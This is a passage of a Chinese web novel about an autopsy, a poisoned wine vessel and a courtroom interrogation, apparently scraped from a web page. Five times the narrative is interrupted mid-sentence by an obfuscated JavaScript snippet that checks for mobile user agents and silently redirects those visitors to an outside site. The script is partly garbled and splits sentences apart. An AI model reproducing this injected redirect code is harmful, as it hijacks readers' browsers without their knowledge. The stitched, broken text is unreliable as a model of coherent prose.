萧寒瑾淡淡瞥了他一眼,“本王自然要陪着雪儿。”他的声音不高,却带着不容置疑的威严。 柳映雪心头一暖,转头看向那位年轻的仵作。对方看起来不过二十出头,脸上还带着几分稚气,却显得格外沉稳。 “这位仵作看起来很年轻。”她轻声开口,语气中带着几分试探。 “回大小姐的话,”府尹连忙解释,额头上渗出细密的汗珠,“这位孙仵作虽年轻,却是跟着他父亲从小学习此道,如今的本事已经超过他父亲了。整个京城,能与他相比的仵作不超过三人。” 孙仵作恭敬地行了一礼,眼中闪着羞涩,“府尹大人过奖了。”说着,他转身进去取来两件宽大的外衣和面纱,“王爷,大小姐,这是特制的衣物,可以遮挡气味。” 柳映雪接过衣物,手指触及那特殊的布料。这布料摸起来有些粗糙,却透着一股淡淡的药香,显然经过特殊处理。她心中暗暗点头,这年轻的仵作确实细心。 “连秀。”她转头唤道。 “小姐。”连秀立刻应声。 “去把我的药箱取来。” 看着连秀快步离去的背影,柳映雪开始穿戴防护衣物。萧寒瑾也跟着穿上,目光始终没有离开她。那双漆黑如墨的眸子里,藏着化不开的担忧。 当柳映雪戴上那副特制的羊肠手套时,孙仵作惊讶道,“大小姐这手套...” “你若是感兴趣,可以向连秀请教制作之法。”柳映雪一边说着,一边活动手指,确保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693974|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵活度。这副手套是她特意改良过的,既能保护双手,又不会影响触感。 孙仵作眼前一亮,“多谢大小姐!” 走进敛尸房,阴冷的气息扑面而来。油灯的光芒在墙上投下摇曳的影子,更添几分阴森。柳映雪的目光变得专注而锐利,示意孙仵作带路。 很快,他们来到那具**死者的尸体前。掀开白布的瞬间,一股浓重的气味扑面而来。府尹大人脸色瞬间发白,踉跄着退到门外。 柳映雪却仿佛未觉,她仔细观察着死者的面部特征。黑色的血迹从耳鼻处渗出,面部呈现不正常的青黑色。死者的眼睛大睁着,似乎在死前经历了极大的痛苦。 她从药箱中取出一把锋利的解剖刀,刀刃在灯光下泛着冷冽的光芒。在下刀的那一刻,她先对着尸体深深鞠了一躬。这一举动让在场所有人都愣住了。 萧寒瑾看着她认真的侧脸,露出欣赏的神色。他的雪儿,总是能给他意外的惊喜。即便面对死者,也始终保持着最基本的尊重。 随着柳映雪的动作,死者体内的器官被一一检查。她的每个动作都极其专业,丝毫不见常人面对尸体时的畏惧。孙仵作在一旁看得入神,不时点头。 门外传来府尹大人呕吐的声音,但敛尸房内的气氛却异常凝重。柳映雪的眉头越皱越紧,她发现了一些不寻常的痕迹。 “萧寒瑾,”她突然开口,声音里带着一丝凝重,“你看这里。” 萧寒瑾凑近看去,只见她指着死者的心脏部位。那里有一些细微的黑色斑点,几乎难以察觉。在油灯的照射下,那些斑点泛着诡异的光泽。 “这毒...”柳映雪手指轻轻触碰那些黑点。 “大小姐可是发现了什么?”孙仵作忍不住问道。 柳映雪没有立即回答,而是继续检查其他部位。死者的肝脏呈现出不正常的暗红色,肺部也有明显的瘀血。这些症状都在印证她的猜测。 第一百三十八章 验尸查案 连秀站在,脸色旁边惨白如纸,双手紧紧攥着衣角,指节因用力而泛白。她的身子微微发抖,喉咙里泛起一阵阵恶心。 “小姐...我...”她张了张嘴,却说不出完整的话来。 敛尸房内弥漫着刺鼻的药味,混杂着令人作呕的腐臭气息。柳映雪正专注地检查着尸体,纤细的手指沿着死者的皮肤轻轻滑过,所到之处皆显现出诡异的黑色痕迹。 “去外面等着吧。”柳映雪头也不抬地说道,声音温和却不容置疑。 连秀如蒙大赦,跌跌撞撞地冲出去,扶着墙壁吐得昏天暗地。她的胃里翻江倒海,眼前一阵阵发黑。 敛尸房内,孙仵作目瞪口呆地看着面不改色的柳映雪和萧寒瑾。这位柳大小姐不仅医术高明,胆识过人,就连摄政王殿下也是如此镇定自若,实在令人叹服。 “这毒...”柳映雪蹙眉,手指轻轻拨开死者的衣物,露出胸腹部位,“竟能让内脏都变成这般模样。” 萧寒瑾站在她身后半步远的位置,目光始终追随着她的动作。他看着柳映雪认真检查的侧脸,眼中闪着心疼。这样的场面对一个女子来说实在太过残酷,可她却毫不退缩。 “雪儿,若是觉得难受...” “我没事。”柳映雪打断他的话,抬头露出一个浅淡的笑容,“这些年在药坊,什么样的伤患没见过?” 孙仵作在一旁帮忙记录着死者身上的异常,听到这话不由得竖起耳朵。他早就听说这位柳大小姐医术了得,如今看来,果然名不虚传。 柳映雪仔细检查完尸体,开始进行缝合。她的动作干净利落,丝毫不拖泥带水。待一切完成,她转身去洗手,将手套浸泡在药箱里的白酒中消毒。 “孙仵作,府尹大人说昨日还带回了些吃食?”她一边擦干手,一边问道。 “是的,就在隔壁房间,请随我来。” 孙仵作领着两人来到一间堆满各式仵作工具的房间。柳映雪的目光在房内扫视一圈,最后落在桌上的物品上。那里摆放着从凤栖楼带回来的酒具和食物。 她拿起酒壶仔细闻了闻,又查看了其他餐具,最后拿起那只兽耳三足酒樽。这酒樽做工精致,表面看不出任何异常,但她总觉得有些不对劲。 “孙仵作,能否借个烛台一用?” 得到烛台后,她将酒樽底部对着火焰烤了烤。很快,底部便浮现出黑色痕迹。 “有趣。”她眯起眼睛,“孙仵作可有实验用的小动物?” “后院笼子里养着几只田鼠。” 萧寒瑾看了绿风一眼,绿风立即会意,快步出去取来了装有田鼠的笼子。 柳映雪倒了些酒在酒樽中,示意绿风将酒倒入笼中。那田鼠舔了几口,不出片刻便倒地不起,耳鼻流出黑血,症状与死者完全相同。 “好毒!”她眸光一冷,“这酒樽底部暗藏剧毒,遇酒便会发作。难怪之前查验时没有发现异常。” 萧寒瑾立即吩咐绿风:“去凤栖楼,将昨日送去的酒樽全部收起来。” 绿风领命而去。这时,师爷前来通报,说府尹大人请他们移步大堂,福满楼掌柜和送酒樽的小厮都已带到。 堂内气氛凝重,司微澜踏入大堂的一刹那,目光便被那两张并排而坐的座椅所吸引。她的手指微微颤抖,指甲深深掐入掌心,却感受不到丝毫疼痛。 摄政王萧寒瑾竟然放弃了上座,选择与柳映雪并肩而坐。这一幕像一把利刃,狠狠刺入她的心脏。 阳光透过窗棂洒落,在地面上投下斑驳的光影。司微澜强压下心中翻涌的妒意,缓步走向自己的位置。对面坐着的是三皇子和二哥司徽风,而最让她难以忍受的,是那对并肩而坐的璧人。 府衙大堂内安静得能听见针落。今日并非升堂日,门外也未有围观百姓,这份静谧反而让司微澜更加焦躁。她的手指无意识地摩挲着衣袖,目光不断在萧寒瑾和柳映雪之间游移。 那个女人,凭什么能与摄政王如此亲近? 坐在上首的府尹大人额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693975|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头渗出细密的汗珠,不时用袖子擦拭。今日不仅摄政王亲临,连三皇子也来了。这案子若是办不好,他这乌纱帽怕是要保不住了。 “带宣掌柜上堂!”府尹朝衙役喊道,声音里带着几分颤抖。 司微澜趁这空档,仔细打量起柳映雪。不得不承认,这女子确实生得极美。清雅出尘的气质,灵动有神的双眸,无一不令人惊艳。她的目光扫过柳映雪那一身素雅长裙,心中泛起一阵酸涩。 更令她心痛的是,萧寒瑾看向柳映雪时那温柔的眼神。那是她从未得到过的目光。每次见到萧寒瑾,对方总是一副冷漠疏离的样子,仿佛她只是个无关紧要的路人。 堂内的气氛愈发凝重,连空气都似乎变得粘稠起来。司微澜感觉呼吸都变得困难,胸口闷得发慌。她强迫自己深呼吸,试图平复内心的躁动。 “这位小姐是何方神圣?”司微澜终于按捺不住,语带讥讽,“大堂之上,不是只有皇室中人才能入座吗?” 话音刚落,她就后悔了。二哥司徽风的脸色瞬间变得难看,而三皇子则露出为难的神色。 萧寒瑾抬眸,目光冷冽如冰,“你又是何人?为何会出现在这里?” 这一问,令司微澜如坠冰窟。他居然连自己都不认识?她的手指紧紧攥住衣袖,指节因用力而发白。那些精心准备的妆容、衣裳,在他眼中竟如此微不足道。 柳映雪低头掩住笑意,这一幕着实有趣。她纤细的手指轻轻摩挲着茶杯,神态从容不迫。 三皇子连忙解围:“九皇叔,这是西幽国的公主司微澜,我身边的是西幽国的二皇子。侄儿是受父皇之命,前来督促此案。” “既是来督促,为何带来外国皇室?”萧寒瑾声音淡漠,带着几分不悦,“还是说,皇上指派你陪他们游玩,你便带到府衙来了?” 三皇子心中一凛,额头渗出细密的汗珠:“九皇叔教训的是。父皇命我来查看凤栖楼食客**一案,二皇子与公主只是想了解我青云国的办案之道。” 第一百三十九章 升堂审案 司徽风见势不妙,忙出来打圆场:“摄政王恕罪,舍妹年幼,言语冒犯,还请见谅。”他说话时不停擦拭额头的冷汗,生怕一个不慎就惹怒了这位权倾朝野的摄政王。 “她得罪的不是本王,她得罪的是本王未来的王妃。”萧寒瑾语气更冷,目光如刀般扫向司微澜。 柳映雪看着司微澜低垂着头,一副楚楚可怜的模样,嘴角微勾:“二皇子客气了。既是年幼,我自然不会与小孩计较。只是往后还需多加管教,莫要因一时失言,连累了西幽国。” 这番话令司微澜怒火中烧。她堂堂西幽公主,竟被如此羞辱!她的指甲深深掐入掌心,却不敢表露分毫不满。 萧寒瑾投来的冰冷目光,和二哥警告的眼神,让她只能咬牙忍下这口气。她能感觉到自己的嘴唇在颤抖,喉咙像是被什么堵住了一般。 就在这时,衙役带着宣掌柜进了大堂。 宣掌柜看清堂内阵仗,顿时腿软。这些贵人的气势,令他不寒而栗。他的额头已经沁出冷汗,双腿微微发抖。 “草民拜见大人!”他连忙跪地叩首,额头重重磕在地上,发出“咚”的一声。 府尹重重一拍惊堂木:“本官问你,你酒楼的小二是如何死的?” 宣掌柜一瞬慌乱,差点脱口说出“溺水”,但很快镇定:“回大人,小的酒楼里的小二都安好,除了回乡探亲的,都在店里做活。” 柳映雪敏锐地捕捉到了他刚才的迟疑。这其中,定有隐情。她的眼神微微一凝,手指轻轻敲击着桌面。 “既然如此,那本官且问你,为何昨日有人看见你家小二的尸体被人从河里捞出?”府尹厉声喝问。 宣掌柜的身子猛地一颤,额头的冷汗更密了:“大...大人容禀,小的实在不知此事。或许是有人认错了也未可知。” “认错?”萧寒瑾冷笑一声,“本王倒要问问,你可认得这个?” 他随手一挥,一名侍卫立即上前,将一块腰牌放在了案桌上。 宣掌柜的脸色瞬间变得惨白。那块腰牌,正是他们酒楼的标识。 “这...这...”他的嘴唇颤抖着,说不出完整的话来。 柳映雪轻轻开口:“宣掌柜,若是实话实说,或许还能留你一条性命。若是执意隐瞒...”她的声音轻柔,却带着不容置疑的威严。 司微澜看着这一幕,心中更是妒火中烧。这个女人,不仅得到了萧寒瑾的宠爱,现在竟然还在朝堂之上说话做主。她的指甲再次掐入掌心,这次却感受到了刺骨的疼痛。 宣掌柜跪在地上,浑身颤抖。他的目光在堂内众人之间游移,最后定格在柳映雪身上。那双清冷的眼眸仿佛能看透他的内心,令他不寒而栗。 柳映雪眯起眼睛,心中暗自思量。她的目光在宣掌柜脸上逡巡,想从他的表情中看出些端倪。 这酒樽的来历,恐怕不简单。那**的配方极为罕见,就算是江湖上的一流毒师也未必能调制出来。这宣掌柜看起来不过是个普通商贾,难道背后另有其人? 她的视线落在那只翠玉酒觞上,樽身绘着精致的山水纹路,笔触细腻,一看便知出自名家之手。这样的器物,怎会出现在一个普通酒楼? 萧寒瑾显然也察觉到了不对劲,他的眸光微动,修长的手指轻轻敲击着案几,发出细微的声响。他身上那股与生俱来的贵气即便是在这种场合也丝毫不减,反而更添几分凌厉。 “这酒樽...”萧寒瑾忽然开口,声音低沉,“可是福满楼的镇店之玉?” 宣掌柜连忙点头哈腰:“回王爷的话,正是。这酒樽是先父传下来的,已有百年历史。” “百年?”萧寒瑾冷笑,“本王倒是听闻,这酒樽原本是西域商人带来的,不过半月前才到你店中。” 宣掌柜额头渗出冷汗,眼神闪烁:“王爷必是听错了,这...” 对面的司微澜却完全沉浸在自己的情绪中,时不时用湿漉漉的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699676|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神偷瞄萧寒瑾。她今日特意换上了一袭淡粉色的裙装,更衬得她肤若凝脂。只是那副楚楚可怜的模样看得柳映雪直皱眉头。 “真是个不知分寸的。”柳映雪在心里暗暗摇头。这种场合,还在想着勾引男人,真是不知轻重。 萧寒瑾的眉头越皱越深,显然对司微澜的举动十分不悦。他的手指停止了敲击,转而握紧了衣袖。若不是顾及西幽使团的身份,他早就发作了。 司徽风看不下去了,凑到妹妹耳边低声道:“皇妹,你若再这般失态,我们现在就回去。” 这话似乎起了作用。司微澜眨了眨眼睛,将眼泪逼回去,重新摆出一副高贵典雅的公主姿态。那双眼睛不再含情脉脉地望着萧寒瑾,而是恢复了淡然。只是那微微颤抖的手指,还是暴露了她内心的不平静。 柳映雪冷眼旁观着这一切。这位公主的转变如此之快,倒是让她刮目相看。也是,在皇宫中成长的公主,哪个不是人精?更何况是被宠坏的小公主,这般收放自如的本事,倒也不足为奇。 “啪!”府尹又是一记惊堂木,震得堂下众人一颤。 “宣掌柜,”府尹神色严肃,“那个回乡探亲的小二已经溺亡了,你可知道?” 宣掌柜闻言一愣,脸上的肌肉抽搐了几下,随即涕泪横流:“小的...小的真不知啊!这孩子在店里一向勤恳,怎么会...怎么会...” 他的哭声在府衙内回荡,听起来真情实意,但柳映雪却从中听出了几分刻意。这宣掌柜,演技倒是不错。 府尹暗自叹气。这宣掌柜滑不溜手,没有确凿证据,只怕难以定罪。他的目光不自觉地瞥向萧寒瑾,却见王爷依旧面无表情地坐着,仿佛对这一切都漠不关心。 “宣掌柜。”柳映雪忽然开口,声音清冷,“那小二在你店里表现如何?” 宣掌柜擦了擦眼泪,打量了她一眼:“这位姑娘是?” “在下柳映雪,凤栖楼东家之女。” 第一百四十章 招供 宣掌柜露出一丝慌乱的神色,很快又恢复如常。他的手不自觉地攥紧了衣袍:“柳小姐,这种事情发生在贵楼,小的也深感痛心。但与我们福满楼实在无关啊。” “是吗?”柳映雪轻笑,“既然无关,掌柜为何如此紧张?你看,你的手都把衣袍抓皱了。” 宣掌柜这才发现自己的失态,连忙松开手,却发现掌心已经被冷汗浸湿。 “那小二对你忠心耿耿,”柳映雪步步紧逼,“你为何要杀他?” “我没有!”宣掌柜脱口而出,声音中带着几分颤抖。 柳映雪冷笑:“官差在他袖中发现了一封信,交代了事情始末。宣掌柜,你还有何话说?” 宣掌柜脸色煞白,眼中露出绝望之色。他的身子微微摇晃,似乎随时都会瘫倒在地。 就在这时,司微澜的声音响起,带着几分刻意的天真:“既是溺亡,那信不是早就泡烂了吗?” 这一句话,让宣掌柜瞬间清醒。是啊,那小二根本不识字,怎么可能留下什么信? 他怒视柳映雪:“柳小姐,若有信件,请拿出来!” 柳映雪暗恨司微澜多事,若不是她插嘴,宣掌柜说不定已经招供了。她的手在袖中握紧,指甲几乎要陷入掌心。 司微澜笑得温婉,眼波流转:“本公主只是随口一问,柳小姐继续。” “是啊,”柳映雪冷笑,“公主若是都明白,也不必特意来我青云国府衙学习了。既然来了,不如好好记录,也好带回西幽参考。” 司微澜气得说不出话,眼圈微红,委屈地看向萧寒瑾。她的手指绞着手帕,几乎要将那块绣着牡丹的丝绢撕碎。 柳映雪不再理会她,目光转向宣掌柜。她悄悄将手伸入袖中,同时看向萧寒瑾。那里面藏着的,是她特意准备的秘药,只要让宣掌柜吸入一点,就能让他说出实情。 萧寒瑾会意,轻轻点头。他的手指轻轻敲了敲桌案,这是他们之前约定好的暗号。 “啪嚓!”一声脆响。 众人的注意力被吸引过去的瞬间,柳映雪迅速挥手,一缕无色粉末飘向宣掌柜。那粉末在空气中几乎看不见,却带着致命的效果。 “王爷没事吧?”府尹大人迅速站了起来,脸上露出关切之色。 “九皇叔!”三皇子也凑了过去,一脸紧张。 萧寒瑾淡淡道:“无妨,不过是打碎了茶盏。”他的声音依旧平静,仿佛真的只是一个意外。 宣掌柜不经意间吸入了那缕粉末,只觉得鼻子一痒,打了个喷嚏。他还没意识到发生了什么,就感觉头脑开始发昏,眼前的景象也变得模糊起来。 柳映雪嘴角微扬,静静等待药效发作。很快,宣掌柜的眼神就开始涣散,整个人摇摇欲坠。 “掌柜,你没事吧?”有衙役关切地问道。 府衙大堂内,茶盏碎裂的声响刚刚平息。 檀木案几上的茶水顺着纹路缓缓流淌,在地上晕开一片深色的水渍。几名衙役手脚麻利地收拾着地上的碎片,又端上新茶,瓷器相碰发出清脆的声响。 柳映雪斜倚在雕花椅背上,纤细的手指有一下没一下地敲击着扶手。她嘴角噙着若有似无的笑意,目光不经意地落在萧寒瑾身上,又若无其事地移开。 那个男人总是这样,一个眼神就能让她心跳加速。即便是在这种场合,他依然能轻易地牵动她的情绪。 堂内气氛凝重,三皇子的目光在司微澜脸上一扫而过。她脸色苍白,眼中隐隐透着怒意。看来生玉说得没错,这司微澜对柳映雪的敌意已经到了极点。不过现在还不是时候,得先把她娶进府里再说。 府尹正准备继续审问跪在地上的宣掌柜,却见那人已经满头大汗,双手紧握成拳,指节发白。 “宣掌柜。”柳映雪忽然开口 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“宣掌柜这是怎么了?”府尹拍案问道,声音在空旷的大堂内回荡。 柳映雪轻声道:“是啊,宣掌柜,你再不说,他可要把你带走了。”她说着,意味深长地看了眼萧寒瑾。 “我说!我说!”宣掌柜浑身发抖,“是我,是我让人把小二推下水的!他知道得太多了,我怕他说出去......” “他知道什么?”柳映雪追问道。 宣掌柜咽了咽口水,声音颤抖:“我让他买了泻药,放在凤栖楼的菜里......”他说着,突然跪地磕头,“我只是想让他们生意差些,没想到会**啊!” 柳映雪眉头微皱,手指无意识地摩挲着椅子扶手。若只是泻药,那酒樽究竟是怎么回事?她看了眼对面的三人,决定暂时按下这个疑问。 第一百四十一章 泻药变** “真的是只有泻药?” “是的!对了,小二还说撞到一个戴帷帽的姑娘,泻药掉在地上,可能是那时候被换成**的。”宣掌柜像是想起什么,急忙补充道,“那姑娘手腕上有道烫伤疤痕......” 府尹立刻派人去核实。衙役们来来往往,脚步声在大堂内回响。 很快就有人回报,证实宣掌柜所言不假,确实买的是泻药。 三皇子和西幽国两兄妹面面相觑,不明白事情怎会突然峰回路转。司微澜咬着下唇,眼中闪着慌乱。 柳映雪将这一切尽收眼底。她看了眼对面三人,尤其是司微澜那欲言又止的模样,心中已有计较。这西幽国的人,还是少给他们可趁之机为好。 案情有了进展,府尹起身道:“王爷,三皇子,接下来需要时日查访那位姑娘,诸位不必在此久候。” 三皇子率先起身告退,脸上带着若有所思的表情。 司徽风拉着一脸不舍的司微澜离开。司微澜走时还不忘回头看了眼柳映雪,眼中满是复杂的情绪。 待他们走后,萧寒瑾才转向柳映雪:“雪儿,你是不是又发现了什么?” 柳映雪摇摇头“王爷不是最喜欢看我玩吗?那就让我好好玩玩。” 萧寒瑾无奈地笑了:“你啊......” 府衙外,司微澜站在马车旁,看着远处的街景。她手中握着一块手帕,指节因用力而发白。 “小姐,”丫鬟小声提醒,“该上车了。” 司微澜这才回过神,掀开车帘钻了进去。马车缓缓启动,车轮碾过青石板路面,发出规律的声响。 她靠在软垫上,闭上眼睛。今日之事虽有惊无险,但那个柳映雪......她攥紧了手中的帕子。 马车渐行渐远,街道上行人如织,各自奔波。 三皇子一行人离开后,大堂内的气氛沉寂了片刻。柳映雪缓缓起身,裙摆在地面上划出一道优雅的弧度。她向府尹严大人行了一礼,面容平静如水。 “府尹大人,小女子还有一件事要汇报。”她的声音清冷,却带着不容忽视的笃定,“敛尸房中我已查明,**藏在酒壶里,而非酒壶。” 这句话让府尹神色骤变,他的手指无意识地敲击着案桌。片刻后,他抬头看向柳映雪,眼中闪着惊疑:“柳大小姐此言当真?” “大人若是不信,可命人取来死者用过的酒具查验。”柳映雪不疾不徐地说道,眸光清澈见底。 府尹立即唤来衙役,传孙仵作前来。不多时,孙仵作带着几名差役匆匆赶到,手中还捧着那套酒具。 “大人。”孙仵作躬身行礼,额头已见汗珠,“小的仔细查验过了,确如柳大小姐所言,**确实是藏在酒樽之中。” 府尹的眉头越皱越紧:“这么说来,宣掌柜并非下毒之人?” “此事尚需去凤栖楼细查。”柳映雪眸光微闪,语气中带着几分沉思,“不过宣掌柜害人性命在先,罪责难逃。至于是有人借机栽赃,还是纯属巧合,还请大人明察。” 一旁的萧寒瑾若有所思地看着她。他知道,雪儿向来心思缜密,既然她提出这个疑点,必然是发现了什么端倪。 “本官自当彻查此事。”府尹揉了揉太阳穴,眉宇间尽是疲惫,“只是眼下线索太少,恐怕一时难有结果。” “大人尽力即可,民女等得起。”柳映雪嘴角勾起一抹若有似无的笑意。她心下了然,此事绝非表面这般简单。若非她精通毒理,谁能想到酒樽暗藏玄机,以酒为引,毒性四散。对方如此缜密,短期内怕是难以查明。 萧寒瑾不动声色地走到她身边,低沉的声音中带着几分安抚:“雪儿不必担心,不管幕后黑手是谁,我定会查出真相。” “嗯。”柳映雪轻轻点头,目光却透着几分警惕,“只是对方目的不明,我们还需多加小心。”她最厌恶这种被人暗中操控的感觉,若让她揪出真凶,定要让对方尝尝生不如死的滋味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707850|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她转向府尹,眼神锐利如刀:“府尹大人,昨日送酒樽的小厮可都在?” “正是,本官这就传他们上来问话。”府尹挥手示意衙役去传人。 不多时,三名小厮战战兢兢地进了大堂,跪地叩首。他们的额头冒着冷汗,身子微微发抖。府尹见状,语气和缓了几分:“你们完全不用担心,如实回答便是。若有隐瞒,本官决不轻饶。” “是,小的定当实话实说。”三人连连磕头,声音都带着颤抖。 柳映雪仔细打量着三人的神色,见他们确实不似说谎。她缓步走到三人面前,裙摆轻拂过地面,发出细微的沙沙声:“那酒樽可是你们铺子所制?” “正是。”其中一个身材瘦小的小厮答道,声音略显嘶哑,“不过酒樽铺子离得远些,小的是先取了茶盏,刚去拿的酒壶。” “若我随意取一只酒樽,你可认得出是否出自你们铺子?”柳映雪的目光在小厮脸上停留片刻。 小厮擦了擦额头的汗水,老实答道:“这个小的不敢说,但打造的师傅一眼便知。每个师傅都有自己的手艺,做工各有不同。” “铺子具体在何处?” “就在西市口,靠近染坊的巷子里。”小厮详细说明了位置。 柳映雪点头:“我要亲自去看看。”她转身看向萧寒瑾,后者会意地点了点头。 待小厮们退下,萧寒瑾对府尹道:“既然凤栖楼掌柜和小二已无嫌疑,今天就放下吧。” “王爷说得是。”府尹连忙应道,随即又叹了口气,“只是这案子...” 柳映雪沉吟片刻:“严大人,可否出具文书,告知百姓此事真相?毕竟拖得太久,人心惶惶,酒楼也难以营业。” 府尹面露难色:“这...案子还未了结...” “大人只需说明死者并非因食用凤栖楼菜肴而亡,至于其他细节,大人自行斟酌便是。”柳映雪语气平和,却带着不容置疑的意味。 第一百四十二章 真相 府尹大人点了点头,手指无意识地敲击着案桌。他看向柳映雪的目光中带着几分赞许,这位凤栖楼的东家确实不简单。 “大人,凤栖楼每日食客众多,若是一直停业,不仅影响生计,更会让那幕后真凶逍遥法外。”柳映雪语气诚恳,眼神清澈见底。 她站在堂前,一袭淡青色长裙随风轻拂,举手投足间尽显大家风范。但只有她自己知道,这件事情绝非表面那般简单。那个手腕有疤的女子,恐怕只是一枚棋子。 萧寒瑾忽然站起身来,周身气势陡然一变。他目光如冰,直视着严大人:“就按照柳小姐的建议处理,文书上就写那**者是被那手腕有伤疤的女子毒死的。” 他的声音不大,却带着不容置疑的威严。府尹大人被这气势压得喘不过气来,额头渗出细密的汗珠,连忙应道:“是,王爷。下官这就去安排。” 柳映雪看着这一幕,不禁莞尔。早知如此,何必费那么多口舌。她余光瞥见萧寒瑾,心中微动。这几日为了凤栖楼的事,他确实操心不少。 “雪儿,我们回去吧。”萧寒瑾转头看向柳映雪时,眼神瞬间变得温柔,仿佛冰雪消融。 “好。”柳映雪轻声应道,莫名觉得心头一暖。 两人刚走出府衙,迎面扑来一阵凉风。绿风快步赶来,脸上带着几分焦急:“王爷,柳大小姐,凤栖楼外**了一群人,说是死者家属,要找东家讨个说法。” 柳映雪眉头微皱,这事情一波未平一波又起。她下意识地攥紧了衣袖,指节微微发白。 “绿风,去告诉府尹,让他立即张贴公告。”萧寒瑾吩咐道,目光若有所思地望向凤栖楼的方向。 就在这时,一个黑衣人从暗处闪出,向柳映雪行礼:“小姐,主子早已得知此事,让属下全力相助。” 柳映雪认出这是司马爹爹的人,心中一暖。她轻声道:“你回去告诉司马爹爹,不必担心,有王爷在此,我自能应付。” 萧寒瑾听到这话,看向柳映雪的目光更加柔和,却又带着几分心疼。这个女子,总是把事情扛在自己肩上。 “你挑几个得力人手,暗中保护凤栖楼,若有异常立即禀报。”柳映雪继续吩咐,语气沉稳。她的目光扫过街道两侧,似乎在寻找什么。 “是,小姐。”那人领命而去,身影很快消失在街角。 “雪儿,你司马爹爹似乎对我不太放心。”萧寒瑾语气中带着一丝失落,他伸手轻轻拂去柳映雪肩上的落叶。 柳映雪挽住他的手臂,唇角勾起一抹浅笑:“他是担心我未过门就麻烦你。”她抬头看着萧寒瑾,眼中带笑:“再说了,让他的人做点事,他在云州也能安心些。” 萧寒瑾望着她的笑颜,心中一暖:“你总是为他人着想。”他的声音低沉温柔,带着几分宠溺。 两人坐上马车往凤栖楼赶去,远远就听见喧闹声。街道被围观的百姓堵得水泄不通,马车再也无法继续前进。 车厢内,柳映雪掀开帘子往外望去。街道上人头攒动,有人在大声叫喊,有人在指指点点。空气中弥漫着一股躁动不安的气息。 “绿风,去将绿竹唤来。”萧寒瑾吩咐道,目光落在柳映雪略显苍白的侧脸上。 柳映雪靠在车窗边,若有所思:“这些死者家属来得如此迅速,恐怕另有隐情。”她的手指轻轻敲击着车窗,眼神渐渐变得深邃。 “绿竹一直在此,应该查探清楚了。”萧寒瑾轻声道,他伸手握住柳映雪有些冰凉的手。 不多时,绿竹来到马车旁:“属下见过王爷。”他的声音压得很低,显然有重要消息要禀报。 “说。”萧寒瑾淡淡道。 绿竹环顾四周,确认无人注意这边才开口:“属下发现,这些所谓的死者家属中,有几个面生的人在煽动情绪。他们似乎是有备而来。” 柳映雪眸光一闪:“可查到这些人的来历?” “暂时还没有,不过属下已经派人跟踪。”绿竹低声回答。 萧寒瑾眉头微皱:“加派人手,务必查清这些人的底细。” 柳映雪心中暗自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707851|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘算,这事情闹得沸沸扬扬,倒是方便她查清真相。只是,那个手腕有疤的女子究竟是谁的人?又为何要在凤栖楼下毒? 马车内一时沉默。柳映雪望着窗外熙攘的人群,眼神渐渐变得坚定。无论幕后之人是谁,她都要查个水落石出。 萧寒瑾似乎看出她的心思,轻声道:“不必着急,我们慢慢来。” 柳映雪点点头,却在心中暗暗警惕。她总觉得,这场风波背后,隐藏着更大的阴谋。 夜色渐浓,凤栖楼内灯火通明。绿竹快步走进雅间,额头渗着细密的汗珠,眼中闪着焦虑。他单膝跪地,声音略显急促:“王爷,外面的情况不太妙。” 